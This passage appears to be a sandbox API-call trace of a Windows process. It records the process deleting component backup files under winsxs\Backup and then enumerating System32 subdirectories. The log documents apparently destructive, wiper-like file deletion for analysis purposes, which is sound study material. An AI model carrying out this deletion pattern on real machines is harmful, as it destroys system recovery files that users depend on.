(normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_61418855a28d13d4.manifest")) returned 0 [0066.264] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_61418855a28d13d4_comctl32.dll.mui_0da4e682" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_61418855a28d13d4_comctl32.dll.mui_0da4e682"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.264] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_61418855a28d13d4_comctl32.dll.mui_0da4e682" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_fr-fr_61418855a28d13d4_comctl32.dll.mui_0da4e682")) returned 0 [0066.264] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_he-il_a5612ff788fc14c2.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_he-il_a5612ff788fc14c2.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.265] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_he-il_a5612ff788fc14c2.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_he-il_a5612ff788fc14c2.manifest")) returned 0 [0066.265] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_he-il_a5612ff788fc14c2_comctl32.dll.mui_0da4e682" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_he-il_a5612ff788fc14c2_comctl32.dll.mui_0da4e682"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.265] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_he-il_a5612ff788fc14c2_comctl32.dll.mui_0da4e682" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_he-il_a5612ff788fc14c2_comctl32.dll.mui_0da4e682")) returned 0 [0066.270] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_hr-hr_a77de2d787af8188.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_hr-hr_a77de2d787af8188.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.270] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_hr-hr_a77de2d787af8188.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_hr-hr_a77de2d787af8188.manifest")) returned 0 [0066.270] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_hr-hr_a77de2d787af8188_comctl32.dll.mui_0da4e682" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_hr-hr_a77de2d787af8188_comctl32.dll.mui_0da4e682"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.271] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_hr-hr_a77de2d787af8188_comctl32.dll.mui_0da4e682" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_hr-hr_a77de2d787af8188_comctl32.dll.mui_0da4e682")) returned 0 [0066.271] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_hu-hu_a8b2089d86ece2f0.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_hu-hu_a8b2089d86ece2f0.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.271] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_hu-hu_a8b2089d86ece2f0.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_hu-hu_a8b2089d86ece2f0.manifest")) returned 0 [0066.271] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_hu-hu_a8b2089d86ece2f0_comctl32.dll.mui_0da4e682" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_hu-hu_a8b2089d86ece2f0_comctl32.dll.mui_0da4e682"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.271] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_hu-hu_a8b2089d86ece2f0_comctl32.dll.mui_0da4e682" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_hu-hu_a8b2089d86ece2f0_comctl32.dll.mui_0da4e682")) returned 0 [0066.271] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_it-it_4b697e9c79bef952.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_it-it_4b697e9c79bef952.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.271] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_it-it_4b697e9c79bef952.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_6.1.7600.16385_it-it_4b697e9c79bef952.manifest")) returned 0 [0071.772] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.772] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\bg-BG\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3986c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x24d65dc, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x24d65dc, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.773] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.773] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\catroot\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfecc0852, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa65ed740, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0xa65ed740, ftLastWriteTime.dwHighDateTime=0x1d706a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.774] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.774] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\catroot2\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfecc0852, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3820f370, ftLastAccessTime.dwHighDateTime=0x1d706af, ftLastWriteTime.dwLowDateTime=0x3820f370, ftLastWriteTime.dwHighDateTime=0x1d706af, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.774] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.774] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\com\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f9c6, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1e470555, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.776] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.777] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\config\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2a643d8, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd2a643d8, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xd2a1811a, ftLastWriteTime.dwHighDateTime=0x1ca0413, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="mtsadmin.tlb", cAlternateFileName="")) returned 0xffffffff [0071.778] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\Configuration\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2a643d8, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd2a643d8, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xd2a1811a, ftLastWriteTime.dwHighDateTime=0x1ca0413, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="mtsadmin.tlb", cAlternateFileName="")) returned 0xffffffff [0071.779] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\cs-CZ\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e088, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8cc4abd3, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8cc4abd3, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.781] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.782] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\da-DK\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e088, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8fab5928, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8fab5928, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.784] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.784] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\de-DE\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e088, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2737b7c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2737b7c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.786] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.787] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\Dism\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf441e2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x12bfa720, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x12bfa720, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.788] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.789] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\drivers\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf441e2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1e9ce759, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.790] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.790] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\DriverStore\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfee8988a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd41401f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xd41401f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.790] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.790] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\el-GR\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf441e2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x28424f2, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x28424f2, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.792] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.793] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\en\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.793] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.793] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\en-US\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6a33c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x4965d8c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x4965d8c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.829] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.830] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\es-ES\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6a33c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8c8b8acc, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8c8b8acc, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.832] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.833] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\et-EE\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6a33c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x286864c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x286864c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.833] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.833] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\fi-FI\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6a33c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x288e7a6, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x288e7a6, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.835] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.836] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\fr-FR\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6a33c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x28daa5a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x28daa5a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.838] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.838] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\FxsTmp\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800df312, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800df312, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.839] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.839] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\GroupPolicy\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc74a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xfdc74a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x9b71cdac, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.840] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.840] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\GroupPolicyUsers\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc74a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xfdc74a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x9b71cdac, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.840] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.840] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\he-IL\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10028a4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2926d0e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2926d0e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.842] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.843] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\hr-HR\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10028a4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2926d0e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2926d0e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.844] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.844] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\hu-HU\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10028a4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x294ce68, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x294ce68, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.846] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.846] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\icsxml\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10028a4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2972fc2, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2972fc2, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.847] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.847] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\IME\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10028a4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x104eb58, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x104eb58, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.847] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.848] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\inetsrv\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104eb58, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x104eb58, 